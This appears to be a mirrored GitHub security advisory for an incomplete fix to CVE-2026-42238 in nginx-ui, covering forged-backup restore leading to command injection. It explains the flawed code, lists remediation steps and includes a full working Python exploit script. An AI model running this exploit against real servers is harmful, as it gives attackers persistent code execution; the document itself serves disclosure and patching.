GHSA-7MM5-V557-38QQ
[Incomplete fix for CVE-2026-42238] Remote Code Execution via `/api/restore`
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-7MM5-V557-38QQ divulgada · CVSS 9.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The v2.3.8 patch for CVE-2026-42238 only added authentication middleware (`AuthRequired + RequireSecureSession + EncryptedForm`) to `POST /api/restore`. The underlying primitive — `restoreNginxUIConfig` `copyFile`s the attacker-supplied `app.ini` straight over `/etc/nginx-ui/app.ini` with no validation, the planted `[nginx] ReloadCmd` is then read into `exec.Command("/bin/sh", "-c", …)` on the next reload — was never addressed.
The chosen gate `RequireSecureSession()` early-returns `c.Next()` for any user without TOTP enrolled (`internal/middleware/secure_session.go:60`). Default install state of `uozi/nginx-ui:latest` is no-OTP. So the gate is non-functional for the most common deployment configuration, and the original CVE-2026-42238 exploit shape is restored — only difference: a single-factor admin JWT now stands in for the unauthenticated install-window.
This is the same incomplete-fix pattern as the upstream CVE-2026-42223 / CVE-2026-42220 advisories. Same root cause — `RequireSecureSession`'s no-OTP early-return — re-used as a fix for two separate CVEs, neither of which actually closes.
Result: single stolen single-factor admin JWT -> RCE in 3 HTTP requests, persistent across container restart.
### Details
1. Unvalidated `app.ini` overwrite — `internal/backup/restore.go:467` (`restoreNginxUIConfig`):
srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { // raw overwrite
return err
}The `protected:"true"` tag on `NginxSettings.ReloadCmd` (`settings/nginx.go:12`) only guards the cosy JSON-merge code path; it does not protect against raw `os.WriteFile`. The vendor's intent (judging from the tag) is that `ReloadCmd` should be unwritable post-install. The restore path violates that intent.
2. Auto-restart re-reads the planted file — `api/backup/restore.go:133-137`:
if restoreNginxUI {
go func() { time.Sleep(2 * time.Second); risefront.Restart() }()
}`risefront.Restart()` graceful-re-execs nginx-ui; the new process boots through `main.go::Program` → `settings.Init(confPath)` → in-memory `ReloadCmd` is now attacker-controlled.
3. Command-injection sink — `internal/nginx/nginx.go:51` + `internal/nginx/exec.go:18`:
// nginx.go::Reload (similarly Restart)
if settings.NginxSettings.ReloadCmd != "" {
return execShell(settings.NginxSettings.ReloadCmd)
}
// exec.go::execShell
execCmd = exec.Command("/bin/sh", "-c", cmd)Reachable via `POST /api/nginx/reload` (`AuthRequired` only).
4. Attacker-derived manifest signature — `internal/backup/manifest.go:156`:
return sha256("nginx-ui-backup-signing-v1:" || aesKey)The AES key is the same value the attacker supplies on the request, so `verifyManifestSignatureWithFallback` accepts any forgery.
5. The v2.3.8 gate is non-functional for the default install state — `internal/middleware/secure_session.go:60`:
if !cUser.EnabledOTP() { c.Next(); return }The same defect was used as a fix for CVE-2026-42223/CVE-2026-42220. Same code line, two incomplete fixes.
PoC
#!/usr/bin/env python3
"""execute arbitrary /bin/sh -c command as root via /api/restore.
Usage: python3 poc_rce.py URL USER PASS 'shell command'
"""
import base64, hashlib, hmac, io, json, secrets, sys, time, uuid, zipfile
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
URL, USER, PASS, CMD = sys.argv[1].rstrip("/"), sys.argv[2], sys.argv[3], sys.argv[4]
def rsa_encrypt(payload):
pem = requests.post(f"{URL}/api/crypto/public_key",
json={"timestamp": int(time.time()*1000), "fingerprint": uuid.uuid4().hex},
timeout=10).json()["public_key"]
return base64.b64encode(serialization.load_pem_public_key(pem.encode())
.encrypt(json.dumps(payload, separators=(",",":")).encode(),
padding.PKCS1v15())).decode()
def login():
return requests.post(f"{URL}/api/login",
json={"encrypted_params": rsa_encrypt({"name": USER, "password": PASS})},
timeout=15).json()["token"]
def leak(token, path):
return requests.get(f"{URL}/api/settings/protected", params={"path": path},
headers={"Authorization": token}, timeout=10).json()["value"]
def aes_cbc(plaintext, key, iv):
pad = 16 - (len(plaintext) % 16)
enc = Cipher(algorithms.AES(key), modes.CBC(iv)).encryptor()
return enc.update(plaintext + bytes([pad]) * pad) + enc.finalize()
def build_backup(jwt_secret, node_secret, reload_cmd):
key, iv = secrets.token_bytes(32), secrets.token_bytes(16)
app_ini = (f"[app]\nJwtSecret = {jwt_secret}\n"
f"[server]\nPort = 9000\n[database]\nName = database\n"
f"[node]\nSecret = {node_secret}\n"
f"[nginx]\nConfigDir = /etc/nginx\nPIDPath = /run/nginx.pid\n"
f"ReloadCmd = {reload_cmd}\nRestartCmd = nginx -s stop\n").encode()
ui_zip, n_zip = io.BytesIO(), io.BytesIO()
with zipfile.ZipFile(ui_zip, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("app.ini", app_ini)
with zipfile.ZipFile(n_zip, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("placeholder.txt", b"")
ui_enc, n_enc = aes_cbc(ui_zip.getvalue(), key, iv), aes_cbc(n_zip.getvalue(), key, iv)
manifest = json.dumps({
"schema": 1, "created_at": time.strftime("%Y%m%d-%H%M%S"), "version": "v",
"files": [
{"name": "nginx.zip", "sha256": hashlib.sha256(n_enc).hexdigest(), "size": len(n_enc)},
{"name": "nginx-ui.zip", "sha256": hashlib.sha256(ui_enc).hexdigest(), "size": len(ui_enc)},
]}, separators=(",", ":")).encode()
sig = hmac.new(hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest(),
manifest, hashlib.sha256).hexdigest().encode()
outer = io.BytesIO()
with zipfile.ZipFile(outer, "w", zipfile.ZIP_STORED) as z:
z.writestr("nginx-ui.zip", ui_enc)
z.writestr("nginx.zip", n_enc)
z.writestr("manifest.json", manifest)
z.writestr("manifest.sig", sig)
return outer.getvalue(), base64.b64encode(key).decode(), base64.b64encode(iv).decode()
def wait_up():
for _ in range(40):
try:
if requests.post(f"{URL}/api/crypto/public_key",
json={"timestamp": int(time.time()*1000),
"fingerprint": uuid.uuid4().hex}, timeout=2).status_code == 200:
return
except requests.RequestException: pass
time.sleep(0.5)
sys.exit("timeout")
t = login()
backup, k, iv = build_backup(leak(t, "app.jwt_secret"), leak(t, "node.secret"), CMD)
blob = rsa_encrypt({"security_token": f"{k}:{iv}", "restore_nginx": "false",
"restore_nginx_ui": "true", "verify_hash": "false"})
requests.post(f"{URL}/api/restore", headers={"Authorization": t},
files={"encrypted_params": (None, blob),
"backup_file": ("b.zip", backup, "application/zip")}, timeout=60)
time.sleep(3); wait_up()
t = login()
try: requests.post(f"{URL}/api/nginx/reload", headers={"Authorization": t}, timeout=3)
except requests.RequestException: pass
# Arbitrary command
python3 poc_rce.py http://127.0.0.1:18080 admin admin1234 'id > /tmp/pwn'The planted `ReloadCmd` survives container restart and re-fires every time anything in nginx-ui calls `Reload()` (cron cert-renewal, cluster sync, operator UI clicks). To reset, run the PoC once more with `'nginx -s reload'` as the 4th argument.
Impact
Arbitrary code execution as the nginx-ui process UID; persistent across container restart.
Remediation
- The fix CVE-2026-42238 should have shipped: in `restoreNginxUIConfig`, parse the supplied `app.ini` and reject any `[nginx] ReloadCmd / RestartCmd / TestConfigCmd`, `[logrotate] CMD`, `[terminal] StartCmd` value that differs from the on-disk file — or strip these fields from restore entirely. Operators set them once at install, never via backup.
- Drop the `if !cUser.EnabledOTP() { c.Next(); return }` early-return in `internal/middleware/secure_session.go:60`. Restores the integrity of every `RequireSecureSession()`-gated route.
- Stop deriving the manifest HMAC signing key from the caller's AES key. Use a per-deployment server secret only.
- In `restoreNginxConfigs`, run `config.ValidateConfigFile(relPath, content)` against every regular file before `copyDirectory`.
- Reject `POST /api/setup/restore` after first install.
- Add regression tests that build a backup with malicious `[nginx] ReloadCmd` and assert restore fails.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/0xJacky/Nginx-UI |
Sin parche | — | — | v1.9.9 no afectada |
2.5.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-7mm5-v557-38qqLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
